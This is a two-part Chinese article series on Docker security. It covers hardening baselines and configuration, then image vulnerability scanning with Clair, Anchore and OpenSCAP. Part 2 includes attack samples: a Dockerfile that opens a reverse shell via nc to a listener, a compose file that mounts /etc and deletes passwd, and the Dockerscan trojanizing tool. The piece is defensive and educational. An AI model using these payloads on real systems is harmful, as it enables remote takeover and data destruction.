Docker

2022-06-24 09:46:00 浏览数 (1)

与其他介绍Docker的文章不同,由本文开启的系列文章将专注于Docker安全研究,一共分为6部分。

part1

第1部分介绍Docker存在的安全问题、整套Docker应用架构的安全基线以及安全规则,重头戏是Docker安全规则的各种思路和方案,这部分重点介绍Docker官方安全建议。第2部分开始将围绕Docker安全规则的各种思路与方案的详细实现展开,包括技术选型、应用部署、功能使用以及如何与企业或组织的Docker容器编排系统、仓库集成等具体问题,更多的是介绍业界实现。

第2部分介绍Docker镜像的漏洞扫描与审计,第3部分介绍如何使用Sysdig Falco监控Docker容器安全,第4部分介绍如何将namespace和cgroup技术用于Docker容器安全隔离与资源控制,第5部分介绍如何使用seccomp和apparmor实现Docker容器系统调用和文件访问的权限控制,第6部分介绍如何使用Hashicorp Vault安全管理docker容器敏感信息。

下面让我们进入Docker安全的大门,开始从入门到实战的精彩历程!

Docker简介

按照Docker官方的介绍:Docker是世界领先的容器平台。开发人员使用Docker在与同事协作代码时消除“在我的机器上工作”的问题。 运营商使用Docker在并行容器中并行运行和管理应用程序,以获得更好的计算密度。企业使用Docker构建敏捷软件交付管道,以更快,更安全,更可靠地为Linux和Windows Server应用程序提供新功能。挺拗口的,大概是这么一回事。

说起容器,很容易想到虚拟机,人们也热衷于讨论虚拟机与容器的区别,那么,本文也不能免俗,下面就来对比一下两者,从而突出Docker容器的不同之处。

Docker与虚拟机的区别

隔离与共享:

虚拟机通过添加hypervisor层,虚拟出网卡,内存,CPU等虚拟硬件,再在其上建立客户机,每个客户机都有自己的系统内核。而docker容器则是通过隔离的方式,将文件系统,进程,设备,网络等资源进行隔离,再对权限,CPU资源等进行控制,最终让容器之间互不影响,容器无法影响宿主机。容器与宿主机共享内核,文件系统,硬件等资源。

性能与损耗:

与虚拟机相比,容器资源损耗要小得多。 同样的宿主机下,能够建立容器的数量要比虚拟机多得多。

安全性:

但是虚拟机的安全性要比容器好一些,要从虚拟机突破到宿主机或其他虚拟机,需要先突破hypervisor层,这是极其困难的。 而docker容器与宿主机共享内核,文件系统等资源,更有可能对其他容器,宿主机产生影响。

Docker存在的安全问题

下面进入正题,从攻击树上来讲,Docker的安全问题如下图所示:

Docker自身漏洞

Docker作为一款应用本身实现上会有代码缺陷。CVE官方记录docker历史版本共有超过20项漏洞,参见https://docs.docker.com/engine/security/non-events/。主要有代码执行,权限提升,信息泄露,绕过这几类。现在Docker已经到了17.03版本,版本更迭非常快,docker用户最好将docker升级为最新版本。

Docker源问题

Docker提供了docker hub可以让用户上传创建的镜像,以便其他用户下载,快速搭建环境。但同时也带来了一些安全问题。下载的镜像被恶意植入后门,传输的过程中镜像被篡改, 镜像所搭建的环境是否本身就包含漏洞等等,不一而足。主要介绍下面三种:

黑客上传恶意镜像:

如果有黑客在制作的镜像中植入木马,后门等恶意软件,那么环境从一开始就已经不安全了,后续更没有什么安全可言。

镜像使用有漏洞的软件:

据一些报告显示,hub上能下载的镜像里面,75%的镜像都安装了有漏洞的软件,所以下载镜像后,需要检查里面软件的版本信息,对应的版本是否存在漏洞,并及时更新打上补丁。

中间人攻击篡改镜像:

镜像在传输过程中可能被篡改,目前新版本的docker已经提供了相应的校验机制来预防这个问题。

Docker架构缺陷与安全机制

由docker本身的架构与机制可能产生的问题,这一攻击场景主要产生在黑客已经控制了宿主机上的一些容器(或者通过在公有云上建立容器的方式获得这个条件),然后对宿主机或其他容器发起攻击来产生影响。

容器之间的局域网攻击:

同一主机上的容器之间可以构成局域网,因此针对局域网的ARP欺骗,嗅探,广播风暴等攻击方式便可以用上。所以在一个主机上部署多个容器需要合理的配置网络,设置iptable规则。

DDoS攻击耗尽资源:

cgroups安全机制就是要防止此类攻击的,不要为单一的容器分配过多的资源即可避免此类问题。

调用有漏洞的系统调用:

我们都知道Docker与虚拟机的一个区别就是,Docker与宿主公用一个操作系统内核,一旦宿主内核存在可以横向越权或者提权漏洞,那么尽管docker使用普通用户执行,一旦容器被入侵,攻击者还是可以利用内核漏洞逃逸到宿主,做更多事情。

共享root:

如果以root权限运行容器,容器内的root用户也就拥有了宿主机的root权限。

未隔离的文件系统:

虽然docker已经对文件系统进行隔离,但是有一些重要的系统文件暂时没有被隔离,如/sys, /proc/sys, /proc/bus等。

缺少完整的用户namespace实现

目前还没有完整的用户namespace实现。某些东西是不受Docker控制的。缺少用户namespace的风险之一是,用户从主机到容器的映射仍是一对一映射。以前,容器中的用户0在主机上等于0。换句话说,如果你的容器被攻破,它不需要太多成本就能损害整台宿主。

默认放通所有:

不管是网络访问,还是remote api的访问,都是默认放通所有的,这也为网络流量攻击和之前大规模发生Docker remote api漏洞埋下了隐患。

Docker安全基线

这部分结合了Docker官方文档与七牛云布道师陈爱珍的《如何打造安全的容器云平台

》整理,从内核、主机、网络、镜像、容器以及其他等6大方面总结了Docker安全基线标准。

内核级别

· 及时更新内核

· User NameSpace(容器内的root权限在容器之外处于非高权限状态)

· Cgroups(对资源的配额和度量)

· SELiux/AppArmor/GRSEC(控制文件访问权限)

· Capability(权限划分)

· Seccomp(限定系统调用)

· 禁止将容器的命名空间与宿主机进程命名空间共享

主机级别

· 为容器创建独立分区

· 仅运行必要的服务

· 禁止将宿主机上敏感目录映射到容器

· 对Docker守护进程、相关文件和目录进行审计

· 设置适当的默认文件描述符数

· 用户权限为root的Docker相关文件的访问权限应该为644或者更低权限

· 周期性检查每个主机的容器清单,并清理不必要的容器

网络级别

· 通过iptables设定规则实现禁止或允许容器之间网络流量

· 允许Dokcer修改iptables

· 禁止将Docker绑定到其他IP/Port或者Unix Socket

· 禁止在容器上映射特权端口

· 容器上只开放所需要的端口

· 禁止在容器上使用主机网络模式

· 若宿主机有多个网卡,将容器进入流量绑定到特定的主机网卡上

镜像级别

· 创建本地镜像仓库服务器

· 镜像中软件都为最新版本

· 使用可信镜像文件,并通过安全通道下载

· 重新构建镜像而非对容器和镜像打补丁

· 合理管理镜像标签,及时移除不再使用的镜像

· 使用镜像扫描

· 使用镜像签名

容器级别

· 容器最小化,操作系统镜像最小集

· 容器以单一主进程的方式运行

· 禁止privileged标记使用特权容器

· 禁止在容器上运行ssh服务

· 以只读的方式挂载容器的根目录系统

· 明确定义属于容器的数据盘符

· 通过设置on-failure限制容器尝试重启的次数

· 限制在容器中可用的进程树,以防止fork bomb

其他设置

· 定期对宿主机系统及容器进行安全审计

· 使用最少资源和最低权限运行容器

· 避免在同一宿主机上部署大量容器,维持在一个能够管理的数量

· 监控Docker容器的使用,性能以及其他各项指标

· 增加实时威胁检测和事件响应功能

· 使用中心和远程日志收集服务

Docker安全规则

Docker安全规则其实属于Docker安全基线的具体实现,不过对于Docker官方提出的方案本文会直接给出实现方式,而对于第三方或者业界使用的方案,则只是介绍基本规则,具体实现方案会在本系列下部分介绍。

容器最小化

仅在容器中运行必要的服务,像ssh等服务是绝对不能开启的。使用以下方式来管理你的容器:

代码语言:javascript复制
docker exec -it mycontainer bash

复制

Docker remote api访问控制

Docker的远程调用API接口存在未授权访问漏洞,至少应限制外网访问。如果可以,建议还是使用socket方式访问。

建议监听内网ip或者localhost,docker daemon启动方式:

docker -d -H uninx:///var/run/docker.sock -H tcp://10.10.10.10:2375#或者在docker默认配置文件指定

代码语言:javascript复制
other_args=" -H  unix:///var/run/docker.sock -H tcp://10.10.10.10:2375"

复制

然后在宿主iptables上做访问控制

代码语言:javascript复制
*filter:
HOST_ALLOW1 - [0:0]
-A HOST_ALLOW1 -s 10.10.10.1/32 -j ACCEPT
-A HOST_ALLOW1 -j DROP
-A INPUT -p tcp -m tcp -d 10.10.10.10 --port 2375 -j HOST_ALLOW1

复制

限制流量流向

可以使用以下iptables过滤器[7]限制Docker容器的源IP地址范围与外界通讯。

代码语言:javascript复制
iptables -A FORWARD -s <source_ip_range> -j REJECT --reject-with icmp-admin-prohibited
Iptables -A FORWARD -i docker0 -o eth0 -j DROP-A FORWARD -i docker0 -o eth0 -m state –state ESTABLISHED -j ACCEPT

复制

我们处理过大量因为Docker容器端口外放引起的漏洞,除了操作系统账户权限控制上的问题,更在于对Docker Daemon的进程管理上存在隐患。我们都知道,目前常用的Docker版本都支持Docker Daemon管理宿主iptables的,而且一旦启动进程加上-p host_port:guest_port的端口映射,Docker Daemon会直接增加对应的FORWARD Chain并且-j ACCEPT,而默认的DROP规则是在INPUT链做的,对docker没法限制,这就留下了很严重的安全隐患了。因此建议:

1. 不在有外网ip的机器上使用Docker服务

2. 使用k8s等docker编排系统管理Docker容器

3. 宿主上Docker daemon启动命令加一个--iptables=false,然后把常用iptables写进文件里,再用iptables-restore去刷。

使用普通用户启动Docker服务

截至Docker 1.10用户命名空间由docker守护程序直接支持。此功能允许容器中的root用户映射到容器外部的非uid-0用户,这可以帮助减轻容器中断的风险。此功能可用,但默认情况下不启用。

1.使用用户映射

要解决特定容器中的用户0在宿主系统上等于root的问题,LXC允许您重新映射用户和组ID。配置文件条目如下所示:

代码语言:javascript复制
lxc.id_map = u 0 100000 65536
lxc.id_map = g 0 100000 65536

复制

这将容器中的前65536个用户和组ID映射到主机上的100000-165536。主机上的相关文件是/etc/subuid和/etc/subgid。此映射技术命名为从属ID,因此称为“子”前缀。

对于Docker,这意味着将其作为-lxc-conf参数添加到docker run:

代码语言:javascript复制
docker run -lxc-conf ="lxc.id_map = u 0 100000 65536" -lxc-conf ="lxc.id_map = g 0 100000 65536"

复制

2.启动容器时不带--privileged参数

代码语言:javascript复制
docker run -it debian8:standard /bin/bash

复制

文件系统限制

挂载的容器根目录绝对只读,而且不同容器对应的文件目录权限分离,最好是每个容器在宿主上有自己单独分区。

代码语言:javascript复制
su con1
docker run -v dev:/home/mc_server/con1 -it debian8:standard /bin/bash
su con2
docker run -v dev:/home/mc_server/con2 -it debian8:standard /bin/bash

复制

镜像安全

如下图所示,在镜像仓库客户端使用证书认证,对下载的镜像进行检查 ,通过与CVE数据库同步扫描镜像,一旦发现漏洞则通知用户处理,或者直接阻止镜像继续构建。 如果使用的是公司自己的镜像源,可以跳过此步;否则至少需要验证baseimage的md5等特征值,确认一致后再基于baseimage进一步构建。

一般情况下,我们要确保只从受信任的库中获取镜像,并且不要使用--insecure-registry=[]参数。具体实现我们在漏洞扫描部分一块介绍。

Docker client端与 Docker Daemon的通信安全

按照Docker官方的说法,为了放置链路劫持、会话劫持等问题导致docker通信时被中间人攻击,c/s两端应该通过加密方式通讯。

代码语言:javascript复制
docker –tlsverify –tlscacert=ca.pem –tlscert=server-cert.pem –tlskey=server-key.pem  -H=0.0.0.0:2376

复制

资源限制

限制容器资源使用,最好支持动态扩容,这样既可以尽可能降低安全风险,也不影响业务。下面是使用样例,限制cpu使用第2核、分配2048

代码语言:javascript复制
docker run -tid –name ec2 –cpuset-cpus 3 –cpu-shares 2048 -memory 2048m –rm –blkio-weight 100 --pids--limit 512

复制

更多限制可以参考Docker官方说明:

代码语言:javascript复制
  --cpu-period                    Limit CPU CFS (Completely Fair Scheduler) period
  --cpu-quota                     Limit CPU CFS (Completely Fair Scheduler) quota
  --device-read-bps=[]            Limit read rate (bytes per second) from a device
  --device-read-iops=[]           Limit read rate (IO per second) from a device
  --device-write-bps=[]           Limit write rate (bytes per second) to a device
  --device-write-iops=[]          Limit write rate (IO per second) to a device
  --kernel-memory                 Kernel memory limit
  --label-file=[]                 Read in a line delimited file of labels
  -m, --memory                    Memory limit
  --memory-reservation            Memory soft limit
  --memory-swap                   Swap limit equal to memory plus swap: '-1' to enable unlimited swap
  --pids-limit                    Tune container pids limit (set -1 for unlimited)
  --ulimit=[]                     Ulimit options

复制

宿主及时升级内核漏洞

使用Docker容器对外提供服务时,还要考虑宿主故障或者需要升级内核的问题。这时为了不影响在线业务,Docker容器应该支持热迁移,这个可以纳入容器调度系统的功能设计中。此外,还应考虑后续的内核升级方案规划、执行以及回迁方案等。

避免docker容器中信息泄露

就像之前github上大量泄露个人或企业各种账号密码的问题,我们一般使用dockerfile或者docker-compose文件创建容器,如果这些文件中存在账号密码等认证信息,一旦docker容器对外开放,则这些宿主机上的敏感信息也会随之泄露。因此可以通过以下方式检查容器创建模板的内容:

代码语言:javascript复制
# check created users
grep authorized_keys $dockerfile
# check OS users
grep "etc/group" $dockerfile
# Check sudo users
grep "etc/sudoers.d" $dockerfile
# Check ssh key pair
grep ".ssh/.*id_rsa" $dockerfile
# Add your checks in below

复制

安装安全加固

如果可能,使用安全的Linux内核、内核补丁。如SELinux,AppArmor,GRSEC等,都是Docker官方推荐安装的安全加固组件。

如果先前已经安装并配置过SELinux,那么可以在容器使用setenforce 1来启用它。Docker守护进程的SELinux功能默认是禁用的,需要使用--selinux-enabled来启用。容器的标签限制可使用新增的—-security-opt加载SELinux或者AppArmor的策略进行配置,该功能在Docker版本1.3[9]引入。例如:

代码语言:javascript复制
docker run --security-opt=secdriver:name:value -i -t centos bash

复制

SELinux的相关选项:

代码语言:javascript复制
--security-opt ="label:user:USER"(设置标签用户)
--security-opt ="label:role:ROLE"(设置标签角色)
--security-opt ="label:type:TYPE"(设置标签类型)
--security-opt ="label:level:LEVEL"(设置标签级别)
--security-opt ="label:disable"(完全禁用标签限制)

复制

AppArmor的选项:

代码语言:javascript复制
--secutity-opt ="apparmor:PROFILE"(设置AppArmor配置文件)

复制

GRSEC的选项:

代码语言:javascript复制
gradm -F -L /etc/grsec/learning.logs

复制

GRSEC的更多说明请参考:https://en.wikibooks.org/wiki/Grsecurity

限制系统命令调用

1.系统调用层面:

Linux系统调用列表见:

http://www.ibm.com/developerworks/cn/linux/kernel/syscall/part1/appendix.html

Seccomp(secure computing mode),就是安全计算模式,这个模式可以设置容器在对系统进行调用时进行一些筛选,也就是所谓的白名单。它可以去指定允许容器使用哪些的调用,禁止容器使用哪些调用,这样就可以增强隔离,它其实也是访问控制的一个部分。

2.函数调用层面

通过使用“–security-optseccomp=<profile>”标记来指定自定义的 seccomp 描述文件:

代码语言:javascript复制
$ docker run -d –security-opt seccomp:allow:clock_adjtime ntpd

复制

这条命令将会允许容器内使用 clock_adjtime 调用

代码语言:javascript复制
$docker run -d –security-opt seccomp:deny:getcwd /bin/sh

复制

这条命令将会禁止容器内执行的 shell 查询当前自己所在的目录

代码语言:javascript复制
--security-opt=[]
          Security Options
              "label=user:USER"   : Set the label user for the container
              "label=role:ROLE"   : Set the label role for the container
              "label=type:TYPE"   : Set the label type for the container
              "label=level:LEVEL" : Set the label level for the container
              "label=disable"     : Turn off label confinement for the container
              "no-new-privileges" : Disable container processes from gaining additional privileges
 
              "seccomp=unconfined" : Turn off seccomp confinement for the container
              "seccomp=profile.json :  White listed syscalls seccomp Json file to be used as a seccomp filter
 
              "apparmor=unconfined" : Turn off apparmor confinement for the container
              "apparmor=your-profile" : Set the apparmor confinement profile for the container

复制

在没有缺省secconf配置文件的情况下运行,可以通过unconfined运行配置不在默认seccomp配置文件的容器。

代码语言:javascript复制
$ docker run --rm -it --security-opt seccomp =ulimit-debian:jessie  unshare --map-root-user --user sh -c whoami

复制

suid和guid限制

SUID和GUID程序在受攻击导致任意代码执行(如缓冲区溢出)时将非常危险,因为它们将运行在进程文件所有者或组的上下文中。如果可能的话,使用特定的命令行参数减少赋予容器的能力,阻止SUID和SGID生效。

代码语言:javascript复制
docker run -it --rm --cap-drop SETUID --cap-drop SETGID 

复制

还有种做法,可以考虑在挂载文件系统时使用nosuid属性来移除掉SUID能力。最后一种做法是,删除系统中不需要的SUID和GUID程序。这类程序可在Linux系统中运行以下命令而找到:

代码语言:javascript复制
find / -perm -4000 -exec ls -l {} ; 2>/dev/null 
find / -perm -2000 -exec ls -l {} ; 2>/dev/null

复制

然后,可以使用类似于下面的命令将移除SUID和GUID文件权限:

代码语言:javascript复制
sudo chmod u-s filename sudo chmod -R g-s directory

复制

能力限制

尽可能降低Linux能力。

Docker默认的能力包括:chown、dac_override、fowner、kill、setgid、setuid、setpcap、net_bind_service、net_raw、sys_chroot、mknod、setfcap、和audit_write。在命令行启动容器时,可以通过--cap-add=[]或--cap-drop=[]进行控制。例如:

docker run --cap-drop setuid --cap-drop setgid -ti <container_name> /bin/sh

此功能在Docker 1.2版本引入。

多租户环境

由于Docker容器内核的共享性质,无法在多租户环境中安全地实现责任分离。建议将容器运行在没有其它目的,且不用于敏感操作的宿主上。可以考虑将所有服务迁移到Docker控制的容器城。可能的话,设置守护进程使用--icc=false,并根据需要在docker run时指定-link,或通过—-export=port暴露容器的一个端口,而不需要在宿主上发布。将相互信任的容器的组映射到不同机器上。

完全虚拟化

使用一个完全虚拟化解决方案来容纳Docker,如KVM。如果容器内的内核漏洞被发现,这将防止其从容器扩大到宿主上。类似Docker-in-Docker工具,Docker镜像可以嵌套来提供该KVM虚拟层。

日志分析

收集并归档与Docker相关的安全日志来达到审核和监控的目的,一般建议使用rsyslog或stdout ELK的方式进行日志收集、存储与分析,因为Docker本身要求轻量,所以不建议像虚拟机或者物理机上安装安全agent,这时实时威胁检测和事件响应功能就要依赖实时日志传输和分析了。可以在宿主上使用以下命令在容器外部访问日志文件:

docker run -v /dev/log:/dev/log <container_name> /bin/sh

使用Docker内置命令:

docker logs ... (-f to follow log output)

日志文件也可以导出成一个压缩包实现持久存储:

docker export

漏洞扫描

前面的镜像安全,跟这里的漏洞扫描关联很密切,可以使用相同的工具去实现安全扫描,不过漏洞扫描更倾向于外部检测,镜像安全则需要镜像仓库和CI系统联动,始终不是一回事,所以分来介绍。

下面介绍5款用于Docker漏洞扫描的工具,它们各有千秋,从镜像到容器,从宿主到容器,从dockerfile到docker-compose,从安全基线检查与漏洞发现,从容器安全到性能优化,均有覆盖。

docker-slim:

参考:https://github.com/docker-slim/docker-slim

创建小容器需要大量的巫术魔法,它可以是相当痛苦的。你不应该丢掉你的工具和你的工作流程。使用Docker应该很容易。docker-slim是一个容器的魔法减肥药。它将使用静态和动态分析为你的应用程序创建一个紧凑的容器。

Docker Bench for Security:

https://github.com/docker/docker-bench-security

Docker Bench for Security是一个脚本,用于检查在生产环境中部署Docker容器的几十个常见的最佳实践,测试都是自动化的,受CIS Docker 1.13基准的启发而来。

Clair: 参考:https://github.com/coreos/clair

Clair是一个用于静态分析应用程序容器(目前包括appc和docker)中的漏洞的开源项目。基于k8s,将镜像上传到clair所在机器扫描即可。从已知的一组源连续导入漏洞数据,并与容器映像的索引内容相关联,以便产生威胁容器的漏洞的列表。当漏洞数据在上游发生变化时,可以传递通知,并且API会查询以提供漏洞的先前状态和新状态以及受这两者影响的图像。

Container-compliance:

参考:https://github.com/OpenSCAP/container-compliance

Container-compliance是基于OpenSCAP的用于评估镜像、容器合规性的资源和工具。

Lynis:

参考:https://cisofy.com/lynis/plugins/docker-containers/

lynis本身是一套Linux/Unix系统安全审计的shell脚本,执行时系统消耗很低。Lynis-docker是Lynis的一个插件,这个插件收集关于Docker配置和容器的信息。

端口扫描

很多人认为,容器被入侵带来的风险,远比不上物理机和传统虚拟机,于是他们直接把docker容器对外网开放,而且不配置任何访问控制。另外,也会存在宿主iptables错误调导致容器直接对外开放的问题存在,于是,这时针对容器进行快速批量的端口快速扫描显得很有必要。目前Nmap/Masscan这两款工具用的比较多。

Nmap支持tcp/udp端口扫描以及自定义插件扫描任意漏洞,是最著名、应用最广的端口扫描器。masscan的扫描结果类似于nmap,在内部,它更像scanrand, unicornscan, and ZMap,采用了异步传输的方式。它和这些扫描器最主要的区别是,它比这些扫描器更快。参考:https://github.com/robertdavidgraham/masscan

上面介绍了很多配置、工具,如果要应用到生产环境,还是需要大量调研的,所以本文的下半部分会结合将它们联动起来,深入到应用部署、功能使用以及如何与企业或组织的Docker容器编排系统、仓库集成等具体实现,形成一套企业级Docker安全解决方案,敬请期待。

参考资料

Docker官方Docker安全文档https://docs.docker.com/engine/security/

关于Docker的几点安全解析http://www.4hou.com/technology/2902.html

陈爱珍 如何打造安全的容器云平台 http://blog.qiniu.com/archives/7743

docker安全部署指南 https://github.com/GDSSecurity/Docker-Secure-Deployment-Guidelines

part2

在上一篇文章《从自身漏洞与架构缺陷,谈Docker安全建设》中,介绍Docker存在的安全问题、整套Docker应用架构的安全基线以及安全规则,重头戏是Docker安全规则的各种思路和方案。本文作为“续集”,考虑到镜像安全问题的普遍性和重要性,将重点围绕Docker镜像安全扫描与审计的具体实现展开讨论,包括技术选型、功能使用以及如何与企业Docker容器编排系统、仓库集成等具体问题,最后还提供了一个现成的开源集成方案。

概述

根据绿盟2018年3月的研究显示,目前Docker Hub上的镜像76%都存在漏洞,其研究人员拉取了Docker Hub上公开热门镜像中的前十页镜像,对其使用Docker镜像安全扫描工具Clair进行了CVE扫描统计。结果显示在一百多个镜像中,没有漏洞的只占到24%,包含高危漏洞的占到67%。很多我们经常使用的镜像都包含在其中,如:Httpd,Nginx,Mysql等等。

有句行话说的好:未知攻,焉知防?下面将先介绍Docker镜像攻击的具体实现方式,然后再提出已有的安全防护方案。

Docker镜像攻击

针对Docker容器的攻击,有利用Docker Daemon api的,也有攻击Kubernetes、Mesos等容器管理平台的,这方面的攻击利用门槛较低、获取成果又非常丰富,反弹shell、getroot均不在话下。不过,今天讨论的是针对Docker镜像的攻击,常见的攻击方式主要有dockerfiles攻击、docker compose攻击两种,而后面讲到的docker镜像自动化攻击则主要利用Dockerscan这款工具。

dockerfiles攻击

道理很简单,在dockerfiles中写入恶意命令,如反弹shell或者添加恶意用户等,或者引入存在漏洞的应用,如使用存在远程命令执行漏洞的Strusts2。下面是一个现成的dockerfiles。

代码语言:javascript复制
FROM alpine:latest
RUN apk add --update --no-cache netcat-openbsd docker
RUN mkdir /files
COPY * /files/
RUN mknod /tmp/back p
RUN /bin/sh 0</tmp/back | nc 192.168.160.1 12345 1>/tmp/back

复制

一旦客户端build完镜像,启动容器,则会向控制端反弹shell

代码语言:javascript复制
nc -lv 192.168.160.1 12345
sh# id
root

复制

docker compose攻击

类似的,编写好存在恶意命令或者漏洞组件的docker compose文件,一旦客户端build完镜像,启动容器,则会执行攻击命令或暴露漏洞组件。

代码语言:javascript复制
test:
 image: ubuntu:14.04
 volumes:
  - /etc:/test
 command: rm /test/passwd

复制

docker镜像自动化攻击

docker镜像自动化渗透工具Dockerscan可扫描网段或者目标识别是否为docker registry,也支持对docker registry操作镜像,更支持修改镜像,将木马植入正常镜像中,当用户运行该镜像时,攻击者就会接收到反弹出的shell,从而达到控制服务器的目的。

代码语言:javascript复制
pip3 install dockerscan
dockerscan -h
Usage: dockerscan [OPTIONS] COMMAND [ARGS]...

Options:
  -v           Verbose output
  -d           enable debug
  -q, --quiet  Minimal output
  --version    Show the version and exit.
  -h, --help   Show this message and exit.

Commands:
  image     Docker images commands
  registry  Docker registry actions
  scan      Search for Open Docker Registries

复制

Docker镜像安全扫描

通过本地docker images命令或者操作docker registry就能恶意修改镜像,植入攻击木马。但这仅仅只是产生Docker镜像安全扫描需求的原因之一。另一种情况,全球最大的dockerhub上面有官方的,也有用户上传的任意镜像,但是目前dockerhub上面只有office repo的才会自动调用docker security scan,其他的即便是恶意image也不会有报警或者拦截的,个人镜像则需要付费扫描。因此,当我们使用外部dockerhub的镜像时同样需要进行安全扫描。如果没有镜像安全工具,非office的repo docker pull时一定要仔细阅读dockerfile或者下载dockerfile本地build。下面是Docker官方镜像安全扫描的流程图。

不过还好,目前CoreOS官方已经推出了Clair镜像安全扫描工具,该工具也被多款docker registry集成,比如VMware中国开源的Harbor(CNCF成员项目)、Quary以及Dockyard等。此外,还有一个Docker镜像安全扫描工具新星:Anchore,不仅支持对镜像的静态扫描,还支持对容器的动态扫描。

Clair

Clair首先对镜像进行特征的提取,然后再将这些特征匹配CVE漏洞库,若发现漏洞则进行提示,其功能侧重于扫描容器中的OS及APP的CVE漏洞。 该工具可以交叉检查Docker镜像的操作系统以及上面安装的任何包是否与任何已知不安全的包版本相匹配。支持跟Kubernetes、Registry结合在一起,在镜像构建过程进行漏洞扫描,支持os广泛,提供api,能提供构建阻断和报警。

在开始分析 clair 之前,我们需要明白几点:

  1. clair 是以静态分析的方式对镜像进行分析的,有点类似于杀毒软件用特征码来扫描病毒。
  2. clair 镜像分析是按镜像layer层级来进行的,如果某一层的软件有漏洞,在上层被删除了,该漏洞还是存在的。
  3. clair 的漏洞扫描是通过软件版本比对来完成的,如果某个应用,比如 nginx ,它在镜像中的版本为 1.0.0,而该版本在数据库中存在 1.0.0 对应的漏洞数据,则表示该镜像存在对应的漏洞。

架构

clair整体架构图如下所示:

整体处理流程如下:

  • Clair定期从配置的源获取漏洞元数据然后存进数据库。
  • 客户端使用Clair API处理镜像,获取镜像的特征并存进数据库。
  • 客户端使用Clair API从数据库查询特定镜像的漏洞情况,为每个请求关联漏洞和特征,避免需要重新扫描镜像。
  • 当更新漏洞元数据时,将会有系统通知产生。另外,还有webhook用于配置将受影响的镜像记录起来或者拦截其部署。

此外,特有术语、驱动和数据源、通知方式的使用可以参考官方文档https://github.com/coreos/clair。

客户端

上面介绍的只是Clair的服务端,投入应用还需额外的客户端。目前从官方列出的衍生开发工具里,已经有非常多的选择。

  • 官方客户端clairctl测试效果如下:
代码语言:javascript复制
clairctl analyze -l cve-2017-11610_web

Image: /cve-2017-11610_web:latest
 
 Unknown: 80
 Negligible: 235
 Low: 195
 Medium: 418
 High: 161
 Critical: 0
 Defcon1: 0

复制

  • clair api 3.0写的不怎么清楚,目前还能在coreos官网上查到api v1版本的文档,但是对于使用新版已经没意义了,因为改变太大了。
  • klar,只支持跟registry集成
  • yair,只支持跟registry集成,yair是用python写的,可以自己修改。
  • analyze-local-images:命令行,但是被放弃了,只支持clair v1/v2

使用建议

  1. master不太稳定,不适合生产环境,建议使用release版本,目前最新版本是https://github.com/coreos/clair/tree/release-2.0
  2. 由于Clair会根据CVE库扫是Docker镜像使用的内核,但是实际上容器使用的是宿主的内核,这样可能产生大量无用漏洞或者误报,但是根据Clair开发组的意思,他们把决定权交给用户,默认不提供白名单机制,也不对此做区分。
  3. 第一次启动要下载数据到数据库,下载时间根据网络好坏确定。可以用https://github.com/arminc/clair-local-scan替换clair官方db镜像。
  4. 检测到很多内核漏洞,但实际上可以不处理。但是clair决定不过滤任何东西,而是交给用户决定,这样一来,用户二次开发,增加黑白名单机制在所难免。

Anchore

Clair能扫描出一个镜像中的所有CVE漏洞,但现在有一种情况,黑客使用最新版无漏洞的OS镜像,然后在其之上安装后门木马,或执行恶意命令,这样Clair就不能检测其安全性了。 这时就要介绍一个分析工具Anchore了,与Clair不同,Anchore侧重于对镜像的审计,其有强大的对镜像的解析能力。Anchore是一个容器检查和分析平台,支持分析、检查、安全扫描,并为容器镜像提供自定义策略评估,比如黑白名单以及自定义规则。

架构

整个处理流程如下:

  • 获取镜像内容并将其解压缩,但从不执行
  • 通过在镜像内容上运行一组Anchore分析器来分析镜像,以提取和分类尽可能多的元数据
  • 将生成的分析保存在数据库中以备将来使用和审核
  • 根据分析结果评估策略,包括对镜像中发现的组件漏洞匹配
  • 更新用于策略评估和漏洞匹配的最新外部数据,并针对上游找到的任何新数据自动更新镜像分析结果
  • 通知用户政策评估和漏洞匹配的更改
  • 每隔一段时间重复5和6,以确保最新的外部数据和更新的镜像评估

客户端

Anchore客户端叫Anchore-cli,可以管理和检查镜像、策略、订阅通知和镜像仓库。工作原理、安装和使用方式都很简单。

  • 部署 支持源码安装和各种主流操作系统源安装
代码语言:javascript复制
git clone https://github.com/anchore/anchore-cli
cd anchore-cli
pip install --user --upgrade .

复制

  • 配置和使用
    • 配置Anchore Engine连接地址和认证方式
    • 使用restful api给Anchore Engine增加镜像、查看镜像分析状态、执行镜像安全扫描、查看镜像分层信息并订阅CVE更新的通知

使用建议

  1. Anchore这个已经被anchore-engine替代,目前再使用会出现各种奇怪的问题。
  2. Anchore分为社区版和商业版,社区版只有CLI接口,商业版提供web页面以及更多的商业支持。

OpenSCAP

OpenSCAP提供了一套自动化的审计工具,以检查应用中的配置和已知的漏洞,遵循了Nist认证的安全内容自动化协议(SCAP)。可以创建自己的自定义规则,并定期检查部署在公司中的任何软件是否严格遵守规则。这些工具集不仅关注于安全性本身,还提供了测试和报告。

跟Clair类似,依赖CVE库进行漏洞扫描。目前已有docker容器方案,OpenSCAP4Docker Docker image:能根据oscap数据库检测image/container。

安装

  • 拉取镜像
代码语言:javascript复制
docker pull dduportal/oscap4docker:1.0.0
docker run dduportal/oscap4docker:1.0.0

复制

  • build镜像
代码语言:javascript复制
git clone https://github.com/dduportal-dockerfiles/oscap4docker.git
cd oscap4docker
cat Dockerfile
FROM dduportal/oscap4docker:1.0.0
MAINTAINER <your name>
ADD ./your-tests /app/oscap4docker-tests
RUN yum install -y -q <your dependencies>
CMD ["/app/oscap4docker-tests/"]
docker build -t my-tests ./
...
docker run -t my-tests
...

复制

使用

代码语言:javascript复制
docker-oscap image IMAGE-NAME OSCAP-ARGUMENTS
  Scan a docker image.
docker-oscap image-cve IMAGE-NAME [--results oval-results-file.xml [--report report.html]]
  Scan a docker image for known vulnerabilities.
docker-oscap container CONTAINER-NAME OSCAP-ARGUMENTS
  Scan a running docker container of given name.
docker-oscap container-cve CONTAINER-NAME [--results oval-results-file.xml [--report report.html]]
  Scan a running container for known vulnerabilities.
See man oscap to learn more about OSCAP-ARGUMENTS

复制

与企业CI/CD系统联动的Docker镜像安全系统选型

Clair

集成到Rigistry和CI/CD

Clair可以直接集成到容器仓库中,以便仓库负责代表用户与Clair进行交互。这种类型的设置避免了手动扫描,并创建了一个合理的接收端以便Clair的漏洞通知到位。仓库还可用于授权,以避免泄露用户不应当访问的镜像漏洞信息。Clair可以集成到CI/CD管道中,如此一来当生成镜像时,将镜像推送到仓库之后触发Clair扫描该镜像的请求。 集成思路如下:

  • 用户推送镜像到容器仓库,仓库根据设置的黑白名单选择是否调用Clair进行扫描
  • 一旦触发Clair扫描,则等待扫描结果返回,然后通知用户

部署方式

